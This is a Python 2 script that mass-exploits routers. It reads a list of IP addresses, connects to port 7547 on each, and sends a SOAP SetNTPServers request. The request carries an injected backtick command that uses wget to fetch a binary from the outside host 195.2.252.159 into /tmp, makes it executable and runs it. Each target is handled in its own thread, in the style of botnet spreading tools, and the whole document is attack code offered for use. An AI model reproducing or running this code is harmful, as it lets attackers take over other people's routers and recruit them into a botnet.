#!/usr/bin/python import threading, sys, time, random, socket, re, os if len(sys.argv) < 2: print "Usage: python "+sys.argv[0]+" " sys.exit() ips = open(sys.argv[1], "r").readlines() cmd = """POST /UD/act?1 HTTP/1.1\r\n Host: 127.0.0.1:7547\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\n Content-Type: text/xml\r\n Content-Length: length of string after return/newline\r\n `cd /tmp; wget http://195.2.252.159/ntpd; chmod 777 ntpd; ./ntpd` \r\n\r\n""" count = 0 def readUntil(tn, string, timeout=15): buf = '' start_time = time.time() while time.time() - start_time < timeout: buf += tn.recv(1024) time.sleep(0.01) if string in buf: return buf raise Exception('TIMEOUT!') class hackify(threading.Thread): def __init__ (self, ip): threading.Thread.__init__(self) self.ip = str(ip).rstrip('\n') def run(self): try: tn = socket.socket() tn.settimeout(8) tn.connect((self.ip,7547)) except Exception: tn.close() try: mp = '' mp += tn.recv(1024) if "" in mp: tn.send(cmd + "\n"); print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip); time.sleep(10); tn.close() except Exception: print "\033[34m[%s] TIMEOUT"%(self.ip) tn.close() print "Total IPs: %s\n"%(len(ips)) for ip in ips: try: count += 1 t = hackify(ip) t.start() time.sleep(0.01) except: pass